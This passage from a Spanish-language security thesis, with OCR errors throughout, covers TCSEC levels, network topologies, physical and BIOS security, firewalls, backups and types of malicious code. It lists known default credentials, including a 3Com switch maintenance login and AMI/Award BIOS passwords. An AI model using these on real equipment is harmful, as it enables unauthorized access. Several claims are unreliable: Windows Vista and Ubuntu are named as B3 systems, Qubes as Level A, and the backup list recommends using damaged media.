usuario y las permite o las deniega segun las politicas de acceso que se hayan
definido.

Todas las estructuras de seguridad deben ser lo suficientemente pequefias como

para permitir analisis y testeos ante posibles violaciones.

Este nivel requiere que la terminal del usuario se conecte al sistema por medio de
una conexion segura. Ademas, cada usuario tiene asignado los lugares y objetos

a los que puede acceder.
Ejemplos: Federal System de Honeywell, XTS — 200, Windows Vista, Ubuntu

2.4.7. NIVEL A: PROTECCION VERIFICADA

Es el nivel mas elevado, incluye un proceso de disefio, control y verificacion,
mediante métodos formales (mateméaticos) para asegurar todos los procesos que

realiza un usuario sobre el sistema.

Para llegar a este nivel de seguridad, todos los componentes de los niveles
inferiores deben incluirse. El disefio requiere ser verificado de forma matematica y
también se deben realizar analisis de canales encubiertos y de distribucion
confiable. El software y el hardware son protegidos para evitar infiltraciones ante

traslados o movimientos del equipamiento.

Ejemplos: Honeywell Information System SCOMP, Boeing Aerospace: SNS,

Qubes basado en Fedora.
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3. CAPITULO: SEGURIDAD FiSICA.

3.1. GENERALIDADESY COMPONENTES.

3.1.1. REDES DE INFORMACION.

Una red de informacion es aquel sistema en el cual los elementos que la
componen, son autbnomos y estan conectados entre si por algin medio fisico y/o
l6gico, y que ademas pueden interactuar y comunicarse entre si para compartir
recursos. Al hablar del concepto de una red, se establece una diferenciacion entre

el concepto de red fisica y red de comunicacion.

Respecto a los componentes fisicos, conexion fisica o flujos de datos se sabe que
la constituyen dos o mas equipos computadores que comparten determinados
recursos, hardware o software. Desde una perspectiva mas comunicativa, se
puede decir que una red aparece cuando se encuentran involucrados algun
componente humano, un componente tecnolégico y un componente

administrativos por ejemplo: persona — PC — institucion.

De cualquier modo, se dice que una red a mas de varios computadores
conectados, la constituyen varias personas que solicitan y presentan
requerimientos, que podran ser intercambiadas y procesadas a través de los

sistemas de comunicacion.

3.1.1.1. COMPONENTES

Los componentes de una red, no son mas que todos los recursos o elementos

gue conforman e interactian con la red.

Servidor.- aguel o aquellos computadores que van a compatrtir recursos hardware
y software con los demas equipos de red. Son potentes, con grandes capacidades

de almacenamiento y procesamiento.
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Estacion de trabajo.- son aquellos computadores que toman un papel de

equipos de trabajo o tienen a su disposicion los recursos que ofrece la red.

Gateways o0 pasarelas.- es aquel hardware y software que permite que se
conecten dos redes locales entre si. Se lo puede relacionar como un tanel o

puente que conecta servidores y estaciones de trabajo.

Tarjeta o placas de interfaz de red.- se le denomina NIC (Network Interface
Card). Su funcién principal es la de intermediario entre el computador y la red de
comunicacién. En ella se encuentran grabados los protocolos de comunicacion de

red.

El medio.- se constituye por el cableado y los conectores que enlazan los

componentes de red.

Concentradores del cableado: son conexiones hacia las estaciones que

distribuyen las conexiones al concentrador como un Unico dispositivo centralizado.

3.1.2. ESTRUCTURA Y CLASIFICACION DE REDES.

3.1.2.1. ESTRUCTURA

La estructura de una red se compone de tres tipos:

+ Software de Aplicaciones
Son los programas que actian como intermediarios entre las PCs y los usuarios
de red, permiten compartir recursos e informacion.

+ Software de red
Son los programas que establecen protocolos para que las PC se comuniquen
unas con otras. Estos protocolos son los que permiten que interactien enviando y

recibiendo datos, también denominados paquetes.
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+ Hardware de red
Son los equipos o componentes materiales que unen las PCs. Entre los mas
importantes se describe el medio de transmision que transporta las sefales a las
PC (cables o fibras Opticas) y el adaptador de red, que permite el acceso al
equipo.

3.1.2.2. LAS REDES SEGUN SU UTILIZACION:

Redes Compartidas, aquellas a las que se une un gran niamero de usuarios,

compartiendo todas las necesidades de transmision.

Redes exclusivas, aquellas que por motivo de seguridad, velocidad o ausencia de
otro tipo de red, conectan dos o mas puntos de forma exclusiva. Este tipo de red

puede estructurarse en redes punto a punto o redes multipunto.

3.1.2.3. LAS REDES SEGUN SU ESTRUCTURA:

Redes privadas, aquellas que son gestionadas por personas particulares,
empresa u organizaciones de indole privado, en este tipo de red solo tienen

acceso los terminales de los propietarios.

Redes publicas, aquellas que pertenecen a organismos estatales y se encuentran

abiertas a cualquier usuario que lo solicite mediante el correspondiente contrato.

3.1.2.4. LAS REDES SEGUN LA COBERTURA DE SERVICIO:
Redes LAN (Local Area Network), Redes MAN (Metropolitan Area Network),

Redes WAN (Wide Area Network), Redes internet y las redes inalambricas.

3.1.3. TOPOLOGIAS DE RED.

La topologia de red se define como la cadena de comunicacion que los nodos
conforman una red usan para comunicarse. La topologia determina Uunicamente la

configuracion de las conexiones entre nodos.


http://www.monografias.com/trabajos/seguinfo/seguinfo.shtml
http://www.monografias.com/trabajos11/empre/empre.shtml
http://www.monografias.com/trabajos6/napro/napro.shtml
http://www.monografias.com/trabajos6/cont/cont.shtml
http://www.monografias.com/trabajos15/redes-clasif/redes-clasif.shtml
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# Topologias fisicas.

& & &

Topologia de bus Topologia Topologia
de anillo en estrella
Topologia en Topologia Topologia
estrella extendida jerarquica en malla

Figura 3.1: Topologias fisicas de red.
Fuente: http://vainy.net/

# Topologias l6gicas

O l
Transmisién de Broadecast

Tokens

Figura 3.2: Topologias légicas de red.

Fuente: http://yainy.net/

3.1.4. SEGURIDAD EN LAS TOPOLOGIAS DE RED.

La base de una red LAN es la topologia o arquitectura utilizada, ya que cada
topologia tiene sus ventajas y aspectos de seguridad que los arquitectos de redes

deben tomar en cuenta cuando disefian su esquema o distribucién de red.


http://yainy.net/
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La topologia de red se compone de la distribucién de red, componentes y la forma
gue se conectan entre si. Dado que la topologia de red determina el modo en que
se conectan los dispositivos hardware y la forma en que fluye la informacién a
través de dichas conexiones, tiene claras implicaciones de seguridad detalladas

en los siguientes puntos.

3.1.4.1. RIEGOS AL ELEGIR UNA TOPOLOGIA DE RED:

Punto Unico de fallo: es un elemento (Servidor, Hub, Router) al que se conectan
uno o varios dispositivos de red. Si uno de estos dispositivos falla, una o varias
estaciones de trabajo perderdn la conexién a la red. La tarea consistird en

minimizar los efectos de los puntos de fallo, es decir, llevar un control de dafios.

Susceptibilidad de “escucha electrénica”: es la préactica de captura oculta del
trafico de red. Todas las topologias son susceptibles de sufrir escuchas

electrénicas, aunque algunas son mas susceptibles que otras.

Tolerancia a Fallos: es la capacidad de la red para recibir todo atague posible y
seguir trabajando sin percances. Si falla una, dos 0 mas estaciones de trabajo, la
red deberia seguir funcionando para ser considerada con tolerancia a fallos.

Resumiendo lo anterior, al momento de escoger una topologia de red, hay que
tener presente que la topologia bus y anillo no presentarian mucha seguridad, ya
que existe un punto Unico de fallo, por lo que no seria recomendable trabajar en

este ambiente.

Si la red es grande, se puede dividirla en segmentos, para permitir de esta
manera una mejor gestion y mayor control al limitar hasta dénde puede llegar un

fallo de seguridad.

Tratar de aislar el hardware y cableado de los usuarios para prevenir

intervenciones encubiertas de red.
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3.1.4. PROTOCOLOS DE RED

Un protocolo de red son una o mas normas que especifican el método de enviar y
recibir datos entre elementos de una red. Su instalacion esta en correspondencia
con el tipo de red y el sistema operativo que la computadora tenga instalado.
Existen varios protocolos de red, y es posible que en un mismo ordenador
coexistan instalados uno de ellos. La variedad de protocolos puede suponer un
riesgo de seguridad, cada protocolo de red que se instala en un sistema queda
disponible para todos los adaptadores de red existentes en dicho sistema, fisicos
o légicos.

Si los dispositivos de red o protocolos no estan correctamente configurados, se
puede dar acceso no deseado a los recursos de la red. En estos casos, la regla
de seguridad méas sencilla es tener instalados el numero de protocolos
indispensable; en la actualidad y en la mayoria de los casos deberia bastar con
s6lo TCP/ IP.

La clasificacion de protocolos se los distingue de la siguiente forma:

Protocolos de red:
o DDP (Delivery Datagram Protocol)
« |IP (Internet Protocol)
« IPX (Internet Packed Exchange)
« NetBEUI Desarrollado por IBM y Microsoft.

Protocolos de transporte:
« ATP (Apple Talk Transaction Protocol)
« NetBios/NetBEUI

o TCP (Transmission Control Protocol)

Protocolos de aplicacion:
o FTP (File Transfer Protocol)
« Http (Hyper Text transfer Protocol)
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3.2. SEGURIDAD Y CONTROL FiSICO DEL HARDWARE.

La seguridad fisica puede abarcar varios aspectos, generalmente se centra en la
seguridad en la red, aunque es importante tomar en cuenta este punto, no se
debe olvidar de la seguridad en los servidores que muchas veces pueden ser mas
vulnerables a ataques fisicos que a los remotos.

De hecho, no solo es més probable que ataquen a un servidor con un hacha que
mediante una utilidad de spoofing o sniffers, sino que cuando esto ocurre, los
efectos posteriores pueden ser mucho mas devastadores y mas cuando la
informacion que se aloja en el equipo es realmente importante y confidencial.
Ademas si lograr alterar un sistema de forma remota, se podria reiniciar o
reinstalar, pero si ha sido dafiado o puesto en peligro fisicamente, el problema si

seria muy serio.

Es por esto, que la seguridad fisica debe estar en primer lugar como objetivo a
proteger. Pese a que muchas medidas de seguridad fisica parecen obvias,

generalmente los usuarios pocas veces las aplican.

Se debe actuar cuidadosamente con los siguientes elementos:
Ubicacién del hardware y su acceso fisico.
Control de acceso a los servidores.
Control de acceso al hardware de red.
Contrasefias de BIOS y consola.

Controles biométricos de acceso.

3.2.1. UBICACION DEL SERVIDOR Y SU ACCESO FISICO.

Existen dos aspectos importantes para este punto: el primero es el lugar en que
se encuentra ubicado el servidor y el segundo son las personas que tienen
acceso fisico al mismo.

No existira ningun control de seguridad si aquellas personas gue tienen acceso
fisico al equipo piensan en acciones malintencionadas y dafiinas.

Existen una gran cantidad de ataques generados de esta forma.
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Un ataque, puede significar muchas cosas en este contexto. Si por ejemplo se
permite que un usuario malintencionado se quede solo durante 30 segundos, es
muy probable que estos sufran dafios importantes en ese intervalo de tiempo. El
usuario podria realizar un simple ataque de denegacién de servicio®
desconectando cables, desconectando hardware de red o simplemente
reiniciando los equipos.

Estas situaciones pueden darse muy pocas veces, ya que estudios han estimado
que el 80 % de las intrusiones provienen del personal interno. El motivo es que
este personal tiene acceso a informacion que los agresores externos no podrian

obtener.

En muchas instituciones del estado, los empleados de confianza pueden acceder
libremente a estos recursos y muchas veces a la informaciéon que no cuenta con
las debidas seguridades del caso. La pregunta seria:

¢, COmo se puede proteger un sistema frente a los enemigos internos?

Por tal motivo una gran alternativa seria crear o adecuar un centro de operacion
de red, que no es mas que un sitio seguro con una infraestructura adecuada,
construida especificamente para alojar este tipo de equipos, donde el acceso sea

restringido con claves y llaves de acceso solo a personas autorizadas.

3.2.2. CONTROL DE ACCESO A LOS SERVIDORES

Para lograr una buena seguridad fisica es cuestion de sentido comun y analisis de
los peligros mas comunes que pueden darse. Siempre que sea posible, se debe
tratar de implementar todas las medidas de seguridad prescritas por el fabricante
de los equipos de hardware y elementos que componen la red.

La vigilancia en particular de las contrasefias predeterminadas y similares es un
buen habito para aumentar el nivel de seguridad en la empresa o institucion. El

tener una contrasefia comun por un rango de tiempo prolongado produce que

5 .z . . . . . . . . .
Denegacidn de Servicio se refiere a dejar inoperativo al servidor de forma malintencionada provocando
que usuarios legitimos no accedan a los servicios que provee.
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alguien pudo haberla extraido y estd haciendo uso inadecuado de esta,

provocando en varios casos fallos de funcionamiento y errores en la red.

Poseer equipos de red relativamente nuevos, hace que sea facil localizar
documentacion en la web para cualquier recomendacion o tipo de seguridad. El

hardware antiguo de red puede albergar defectos.

En conclusion la mejor manera de controlar la seguridad fisica es tomando las
precauciones posibles para evitar que usuarios no autorizados accedan

fisicamente a los servidores o al hardware de red.

3.2.3. CONTROL DE ACCESO AL HARDWARE DE RED

Un tema de vital importancia es la seguridad en el hardware de red, ya que
implica un mantenimiento y control adecuado de cada uno de los componentes
que permiten a las PC formar un conjunto de equipos que interactlan

compartiendo recursos.

PUNTO CRITICO
DE ATAQUE

Q ' NUESE—ARNA RED

Figura 3.3: El hardware de red o router como punto critico de ataque desde mundo exterior.
Fuente: Autor de tesis.
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Uno de los elementos mas criticos en una red podria ser el router, un blanco de
ataque atractivo, ya que éste dispositivo cumple con varias funciones y ademas
sirve de pasarela a través de la que los usuarios de red pueden comunicarse con
el mundo exterior y viceversa. Si los agresores consiguen colapsar o
desconfigurar los routers u otros dispositivos importantes el servicio de red, estara

inactivo para mucha gente.

PROBLEMAS HABITUALES CON CONTRASENAS EN EQUIPOS DE RED

El login (debug) y la contrasefia (synnet)
de mantenimiento de varios switches

3COM SWITCH ) .
3 Com. Por ejemplo CoreBuildery Super
Stack I
Algunos routers Ericsson Tigris permiten
ERICSSON ROUTER |a usuarios remotos enviar comando de

validacion sin autenticarlos.

Algunos equipos de esta marca tienen
BAY NETWORKS | ROUTER [una cuenta sin contraseia. Esta informacion
ha sido muy distribuida y conocida.

Tabla 3.1: Problemas comunes con contrasefias en equipos de red.
Fuente: Autor de tesis.

Asegurar un aislamiento del hardware de red de usuarios locales, que generen
desconfianza y que puedan dafar o alterar el correcto funcionamiento de cada
equipo de red. Si un usuario no controlado que tenga acceso fisico a los equipos
logra recuperar alguna contrasefia de un router, switch o bridge, no tardara en

empezar a manipular incorrectamente los mismos provocando serios problemas.

Por esta razon, al momento de instalacién de equipos nuevos en la red se debe

tomar las siguientes recomendaciones:

# Definir correctamente las contrasefias de administracion, de mantenimiento
y de los usuarios para evitar que agresores puedan acceder a través de
valores predeterminados o comunes en las contrasefias de la empresa o

institucion.

La mayoria de routers y switches admiten algun tipo de cifrado, pero no emplean

por defecto. Trate de que se tenga presente el cifrado.
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Una buena practica seria desactivar el control remoto de administracion (telnet),
en caso que fuese necesario podria activarlo temporalmente. Si el hardware de

red posee puertos sensibles, bloquear el acceso a ellos seria recomendable.

3.2.4. CONTRASENAS DE BIOS Y CONSOLA

Las arquitecturas mas comunes utilizan contrasefias de BIOS-PROM,
contrasefnas de consola o de ambos tipos. Estos tipos de contraseia son incluidos
como un filtro extra de seguridad, como un obstaculo para disuadir a los usuarios

audaces de curiosear.

Las contrasefias de la BIOS o de la PROM evitan que los usuarios
malintencionados accedan a la configuracion del sistema, mientras que las
contrasefias de consola protegen los perfiles de usuario de la estacion de trabajo
o PC. En cualquier de los dos casos, estas contrasefias ayudan de manera

especial al control efectivo de accesos sin autorizacion.

Sin embargo, hay que tener cuidado de no obviar establecer las contrasefias de
configuracion y de usuario, ya que si no se hace, entraria en un problema peor y
seria mucho mas lamentable.

Actualmente las teclas y contrasefias predeterminadas de configuracion de la
BIOS de casi todos los fabricantes son muy conocidas. Aqui se muestran algunas

de ellas.

TECLAS Y CONTRASENAS CONOCIDAS

AMERICAN MEGATRENS |Incluye AMI y AMI_SW
AWARD Incluye 589589, Award, AWARD
Incluye F1,F3,Ctrl+F1,Ctrl+F3,
TECLAS GENERICAS Ctrl+Mayus+Esc,Supr,Ctrl+Alt+S
Presionando repetidamente los dos botones del
IBM APTIVA raton durante el arranque

Algunos modelos pueden obviar la contrasefia
TOSHIBA manteniendo pulsada la tecla Mayus

Tabla 3.2: Tabla resumen de teclas y contraseiias conocidas segtin el fabricante.
Fuente: Autor de tesis.
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Asegurarse también de que las contrasefias no coincidan con otras que se utilicen
comunmente, esto garantizara que si rompen la contrasefia de la BIOS o de
consola, las otras estaciones y PC no estaran expuestas a otro ataque.

Pero lo mas recomendable, es no fiarse de estas contrasefias como una seria
defensa ya que tiene efectos inherentes, como un jumper para borrar la CMOS o

provocando un cortocircuito de la bateria de la placa.

3.2.5. CONTROLES BIOMETRICOS DE ACCESO

Se piensa como una idea futurista de seguridad fisica del hardware en el uso de
dispositivos de acceso biométrico. Estas herramientas autentican a los usuarios
en base a caracteristicas bioldégicas como: estructura facial, huellas dactilares,

patrones de retina, voz, etc.

Este tipo de control no siempre sera el mas adecuado, por las reacciones sociales
que pueden generar. Por ejemplo, los empleados de una institucion pueden
ofenderse de este control y pueden considerarlos una violacion a la intimidad.

Los controles de acceso biométricos no son adecuados para entornos que van
mas alla de una red local. La utilizacion de este tipo de acceso seria aconsejable
dentro de las oficinas en aquellas maquinas que se usen para el control y

administracion de la red.

HERRAMIENTAS DE ACCESO BIOMETRICO

SERVICIO DESCRIPCION

Es un ratdn de American Biometric, que lee bien
BIOMOUSE huellas digitales. Es compatible con Linux 2.0

Es un sistema de autenticacién biométrica en red
gue admite 256 estaciones de trabajo en

IRIS SCAN segmentos de red LAN.

Es un sistema de autenticacion por huella digital de
I/0 Software que autentica a los usuarios antes de
arrancar. Incluye un analizador de huellas digitales
SECURE START ISA compacto.

Este sistema comprueba su identidad mediante el
reconocimiento de voz, ademas es compatible con
VERIVOICE Linux 2.0 o posterior.

Tabla 3.3: Tabla resumen sobre las principales herramientas de acceso biométrico.
Fuente: Autor de tesis.
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3.3. ATAQUES Y PROTECCION DE LA INFORMACION

3.3.1. ATAQUES DE CONTRASENAS

Cuando se habla del término ataque de contrasefia se refiere a un término
genérico. Esto describe diversas formas y tareas entras las que se incluye
cualquier accion dirigida a romper, alterar, borrar contrasefias o a la vez evadir de
otra forma los mecanismos de seguridad de las contrasefias.

En orden jerarquico, los ataques de contrasefia son lo primero a romper en un
sistema. Los piratas e intrusos de la red aprenden a romper contraseias antes
que cualquier otra actividad. Actualmente, cualquier persona con conocimientos
basicos puede romper contrasefias si sabe utilizar de forma adecuado las

herramientas automatizadas.

Pero no se debe confundir la sencillez con la ineficacia, en la mayoria de los
casos, una deficiente seguridad en las contrasefias pone en peligro a todo el
sistema. Los atacantes que inicialmente obtiene solo acceso limitado pueden
extender y ampliar el acceso mediante el ataque a una seguridad de contrasefia
débil.

3.3.2. PRINCIPALES HERRAMIENTAS Y FORMAS DE ATAQUE

# TCP Wrappers

Los TCP Wrappers son una de las herramientas mas famosas del mundo para

reforzar el control de acceso a la red.

Este tipo de aplicacion brinda una capa adicional en cuanto a la seguridad de la
red y sistemas de informacion. Si bien es cierto que se aplica mas en sistemas
UNIX / Linux, también se lo puede utilizar en otros sistemas como Windows por

ejemplo.

Las brillantes capacidades de TCP Wrappers no deben considerarse una
alternativa a un buen firewall. TCP Wrappers puede utilizarse conjuntamente con
un cortafuegos u otro sistema de seguridad, pues ofrece varios servicios

adicionales que brindan una proteccién extra a los sistemas.
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Para un control mas avanzado en cuanto a seguridad utilizando esta herramienta,
se pueden configurar las opciones para tener un mayor control sobre la gestion de
conexiones. En algunos casos puede convenir el envio de un comentario a ciertos
equipos o conexiones de servicios. En otros, tal vez se deba registra una entrada
en un log o enviar informacion de lo ocurrido al administrador. Otro tipo de
situaciones pueden requerir el uso de un servicio solamente para conexiones

locales.

Para concluir, el servicio de TCP Wrapers es lo mas parecido a la funcionalidad
del firewall que puede conseguir sin hacer uso de un filtro de paquete a escala
total, y es una opcion perfecta cuando no se pueda utilizar un firewall, pero

necesita control de acceso a la red.

# IPFwadm

La herramienta Ipfwadm permite el filtrado de paquetes, ademas se utiliza para
configurar, mantener e inspeccionar el firewall y las normas de cuenta en el

kernell de Linux.

Para una utilidad tan pequefa, ipfwadm es mas que suficiente y, por qué no,

podria ser una formidable solucion de firewall personal.

Al analizar la herramienta de forma general, ipfwadm permite establecer normas

estrictas sobre el trafico entrante y saliente.
En un ejemplo para sistemas Linux se procederia de la siguiente manera:
Ipfwadm [rule_category] [policy_action] [policy] [interface] [target]

La categoria de la normas es el tipo de norma que se esta definiendo y si se
aplica a la cuenta, trafico entrante, saliente, normal, no filtrado o trafico
enmascarado. La normativa es lo que quiere hacer con el trafico especificado:

aceptarlo — negarlo — rechazarlo.

El objetivo es la direccién IP a la que esta aplicando estas normas.
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Esta herramienta soporte muchas mas opciones que se lo detalla a continuacion:

PARAMETRO FUNCION
Se utiliza para aplicar la normativa actual tanto al trafico entrante
-b como al saliente. Sirve para cuando se adjunte, inserte o borre
una normativa.
-e Se utiliza para obtener una salida mds extensa
Se utiliza para especificar que os paquetes que vienen bajo la
-m normativa actual, estaran enmascarados como si vinieran del
host local.
Se utiliza para especificar que ipfwadm deberia mostrar toda la
-n informacion en formato numérico (direcciones IP y NO nombres
de host).
Se utiliza para activar el logging en todos los paquetes que
© vengan bajo la normativa actual.
-r [puerto] Se utiliza para redirigir los paquetes hacia un socket local.
-V Se utiliza para obtener una salida amplia.

Tabla 3.4: Tabla resumen con las principales funciones en la utilizacién de IPfwadm.

Fuente: Autor de tesis.

3.3.3. COPIAS DE SEGURIDAD

Las copias de seguridad son vitales para la proteccion de la informacion, al hablar

de un plan de contingencia se seguridad informatica se refiere a los pasos que se

deben seguir, luego de un desastre, para recuperar la informacion y ademas la

capacidad de funcionalidad de los sistemas.

La recuperacion y restauracién de informacion se refiere a la capacidad de seguir

trabajando en un plazo minimo después de que se haya producido algun

problema, asi como la posibilidad de volver al estado anterior del mismo,

habiendo reemplazado o recuperado el maximo posible de los recursos e

informacion.

Es asi, que la recuperacion de la informacion se basa en el uso de una politica de

copias de seguridad o Backup adecuado.
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El Backup de archivos permite tener disponible y de manera integra la informacion
para cuando sucedan ciertos accidentes. Sin un Backup, simplemente, es
imposible volver la informacion al estado anterior al desastre.

La falta de concientizacién de los usuarios en este sentido es muy alta. Mas alla
de lo que cabe esperar, un alto porcentaje de usuarios y personas que utiliza
informacion sabe lo que es un Backup o copia de seguridad pero nadie sabe

como hacerlo, o peor aun saben como hacerlo pero nadie lo hace.

Los motivos para esto son muy variados pero siempre se puede concluir que
hacer una copia de seguridad es molesto, involucra tiempo, y a veces resulta
complicado seguir al pie de la letra los pasos que se necesitan para obtener un

Backup favorable.

Para realizar un Backup funcional que permita recuperar informacién importante
luego de un desastre se debe tomar varias recomendaciones y consejos que
pueden ayudar a una recuperacion mas satisfactoria.

Cuando se pretenda realizar una copia de seguridad se debe tomar las siguientes

precauciones:

# Realizar copias en disquetes o cintas que pueden estar dafiados.

# Realizar copias en CDs de baja calidad, lo barato sale caro.

# Realizar backups parciales pensando en que lo demas ya esta respaldado.
# Realizar backups cada 6 meses mas o menos.

# Realizar backups y guardarlo en un lugar seguro.

Hacer un Backup no es una tarea trivial, involucra recursos y costos que

generalmente ni los usuarios finales ni las empresas consideran.
Las posibilidades para realizar un Backup son muchas, si bien unas mas
adecuadas que otras segun se considere el caso:

# Se puede realizar una simple copia con el viejo y conocido copy / cp de
DOS / UNIX.
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# Se puede grabar en algiin medio removible (Disquete, CD, Flash memory)
# Se puede copiar en algiin equipo espejo del original.
# Se puede subir la informacion a hostings de la web.

# Se puede crear una tarea programada que envie el Backup por correo.

No se debe pasar por alto que la copia de seguridad se la haya realizado
correctamente, es recomendable realizar comprobaciones periddicas cada cierto

tiempo prudencia para asegurar que el proceso se completo satisfactoriamente.

En lo que respecta a empresas, las acciones a realizar son un poco mas
complejas, pero el concepto es el mismo: hacer Backup es ahorrar tiempo y
dinero.

En este caso sera necesario realizar un analisis costo/beneficio para determinar
gué informacion sera almacenada, los espacios de almacenamiento destinados a
tal fin, la forma de realizacion, las estaciones de trabajo que cubrird el Backup,

etc.

Para una correcta realizacion y seguridad de backups se deberan tener en cuenta

estos puntos:

1. Se debe contar con un procedimiento de respaldo de los sistemas
operativos y de la informacion de los usuarios, para poder reinstalar
facilmente en caso de sufrir un accidente.

2. Se debe determinar el medio y las herramientas correctas para realizar las
copias, basandose en analisis de espacios, tiempos de lectura / escritura,
tiempo de Backup, etc.

3. El almacenamiento de los Backups se deben realizar en lugares diferentes
de donde se encuentra la informacion original. Con esto se evita la pérdida
si el desastre abarca todo un edificio por ejemplo.

4. La verificacion de la integridad de los respaldos de informacion se debe
realizar peribdicamente y no se debe esperar hasta el momento en que

ocurre el desastre, problema o pérdida de informacion.
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5. Se debe contar con un procedimiento para garantizar la integridad fisica de
los respaldos, en prevision de robo o destruccion.

6. Es importante tener una politica para garantizar la privacidad de la
informacion que se respalda en medios de almacenamiento secundarios.
Encriptar antes de respaldar.

7. Se debe mantener equipos de hardware, de caracteristicas similares a los
utilizados para el proceso normal, que puedan suplantar a los originales y

puedan comenzar a procesar en caso de desastres fisicos.

3.3.4. FIREWALLS

Un firewall es un dispositivo que evita que ingresen extrafios en una red. Es un
direccionador, una computadora auténoma con filtro de paquetes o software

proxy, o un paquete de firewall.

Este dispositivo puede ser hardware como software, segun la aplicacién que se le
quiera dar, ademas puede servir como punto de entrada Unico a un sitio,
normalmente llamado punto de estrangulamiento. A medida que se reciben las
peticiones de conexion, el firewall las va evaluando. So6lo se procesan las
peticiones de conexién de los hosts autorizados; el resto de peticiones son

descartadas.
Los firewalls realizan varias tareas, como por ejemplo:

Filtro y analisis de paquetes. Los firewall pueden analizar paquetes
entrantes de multiples protocolos. Basandose en ese analisis, estos

equipos pueden realizar evaluaciones condicionales.

Blogueo de protocolos y contenidos. Los firewall le permiten proteger
contenidos. Pueden explotar esta capacidad para bloquear sentencias
scripts que ejecutan acciones como java, javascript, vbscrip, activex y otras

7

mas.
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 Creacién de normas para bloquear Firmas de Ataques® particulares.

Autenticacion y encriptacién de usuario, conexion y sesion. Muchos firewall
utilizan varios algoritmos y sistemas de autenticacion (DES, Triple DES,
SSL, SHA, MD5, IDEA, etc.) para verificar la identidad de sus usuarios,
comprobar la integridad de la sesion y proteger los datos en transito de los

rastreos.

Como conclusion, dependiendo del disefio, un firewall protege a la red al menos

en dos de estos niveles (y en algunos casos en todos):
1. ¢Quién puede entrar?
2. ¢Qué puede entrar?
3. ¢Do6nde y como pueden entrar?

En el sentido mas técnico, un firewall es la suma total de todas las normas que se
puedan aplicar a una red. Generalmente un firewall proporcionara normas que

reflejen la normativa de acceso de la propia organizacion.

3.34.1. FIREWALL ANIVEL DE RED

Son aquellos direccionadores con capacidad de filtro de paquetes. Al utilizar un
firewall a nivel de red, puede permitir o negar el acceso a su sitio basandose en

varias variantes, como pueden ser:

# Direccion de fuente
# Protocolo
# Numero de puerto
# Contenido
Los firewall, basados en direccionadores son populares porque son soluciones de

perimetro, es decir, son dispositivos externos.

6 . .
Las firmas de ataque son patrones de comando comunes a un ataque en particular.
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Figura 3.4: Diagrama que muestra el equipo direccionador como la tnica entrada desde el exterior.
Fuente: Autor de tesis.
Aqui se puede apreciar que todo el trafico exterior debe pasar a través del
direccionador, que manipula todos los procedimientos de aceptacion y negacion.
Estos firewall ofrecen una solucién limpia y rapida gracias a que son de sistema

operativo y neutral en cuanto a la aplicacion.

Ademas, los firewall basados en direccionadores avanzados’ pueden vencer al
spoofing y a los ataques DoS, e incluso convertir a la red en invisible para el

mundo exterior.

Como todo dispositivo y equipo, poseen fallos y deficiencias. Algunos

direccionadores son vulnerables a algunos ataques.

3.34.2. PASARELA DE APLICACIONES

El otro tipo importante de firewall es el de aplicacion-proxy, llamado pasarela de
aplicacion. Estas sustituyen a las conexiones entre los clientes externos y su red
interna. Durante este cambio nunca se envian paquetes IP. En su lugar se realiza

una traduccion, actuando como pasarela de conducto y se interprete.

7 . . . . .
Firewalls con direccionadores: Son enrutadores que incorporan un sistema de filtro de paquetes y su arma
mas eficaz es la navegacion oculta, disfrazando las direcciones y puertos.
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Ademas con este tipo se logra tener un control méas global sobre cada uno de los
servicios individuales, y en muchos casos puede mantener la informacion del

estado del paquete.

De la misma forma, este también tiene algunas deficiencias, una de estas es que
requieren una implicacion substancial por su parte porque deben configurar
aplicaciones proxy para cada servicio de red. Ademas, los usuarios internos
deben utilizar clientes que estén al tanto del proxy, caso contrario deberan

adoptar nuevas normativas y procedimientos.

Un ejemplo de este tipo es el Firewall Tool kit (FWTK). Es un paquete de uso no

comercial, que incluye proxies para los siguientes servicios:

# Telnet, FTP, rlogin, sendmail, y http.

3.34.3. EVALUACION DE UTILIZACION DE FIREWALL

Para que una empresa o0 institucidon implemente un equipo firewall debe
primeramente analizar la factibilidad y necesidad que posee. Hay muchos

entornos en los que los firewalls no son adecuados:

Universidades.- ya que las universidades a menudo la dirigen 2 0o mas
departamentos que se convierten en segmentos de red separados, lo que

conlleva a ofrecer un acceso limitado a los estudiantes.

Proveedores de servicio de internet (ISP).- ya que los usuarios acceden a sus
cuentas desde diferentes puntos y sitios de conexion, es muy dificil determinar y

controlar la procedencia de cada direccion IP con la cual se conectan.

A mas de esto, el compromiso de manejar, gestionar y administrar un firewalls es
realmente grande, si se piensa en tener un servidor web con paginas publicitarias
no seria aconsejable implementar este servicio. Los firewall son mas adecuados
para proteger redes privadas que necesitan acceso de salida a internet y ofrecen

al publico entrada minima y un control estricto.
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3.3.5. CODIGO DANINO

El denominado cédigo dafiino es un proceso codificado dentro de un programa
legal, que realiza acciones que el usuario desconoce y probablemente no lo
desea. También puede definirse como un programa legal que ha sido modificado
insertando en él codigo no autorizado que ejecuta funciones desconocidas.

Este codigo generalmente esta creado para permanecer oculto y enmascarado
para que no pueda ser facilmente detectado, produciendo funciones no deseadas

por el usuario.

Existe una variedad de cédigo dafiino que se encuentra en los sistemas actuales

de informacion, los cuales son:

Residentes: son aquellos que se ocultan en la memoria RAM de forma

permanente o residente.

Accion directa: no pertenecen en memoria y su objetivo prioritario es

reproducirse y actuar en el mismo momento de ser ejecutado.

Sobreescritura: su caracteristica es que destruyen la informacion de los ficheros

que afectan.

Boot: estos no afectan los ficheros, sino los discos que los contienen.

Macro: infectan los ficheros creados usando determinadas aplicaciones que

contengan macros.

Enlace o directorio: aquellos que alteran las direcciones que indican donde se

almacenan los ficheros.

Encriptados: son aquellos que cifran o encriptan a si mismos para no ser

detectados y poder ejecutar las acciones por los que fueron creados.
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Polimorficos: los que en cada infeccion que realizan se cifran de una forma

distinta, asi es mas dificil detectarlos.

Multipartes: estos pueden realizar multiples infecciones, combinando diferentes

técnicas para ello. Actian sobre archivos, programas, macros, discos, etc.

Fichero: principalmente infectan programas o ficheros ejecutables, existen en

mayor cantidad.

Compaiiia: son virus de tipo residente y de accion directa, su caracteristica es

gue acomparian a otros ficheros existentes en el sistema antes de su llegada.

FAT: actian sobre la tabla de asignacién de ficheros, ya que impiden el acceso a

ciertas partes el disco, donde se almacenan los ficheros criticos.

Gusanos(Worms): los gusanos se limitan a realizar copias de si mismos a la
maéaxima velocidad posible, su accion se enfoca en saturar o colapsar los sistemas

o redes en donde se infiltran.

Troyanos: técnicamente no se deben considerar virus, ya que no se reproducen
infectando otros ficheros. Tampoco se propagan haciendo copias de si mismo,
pero si son detectados por los antivirus para su eliminacion, ya que el fin y
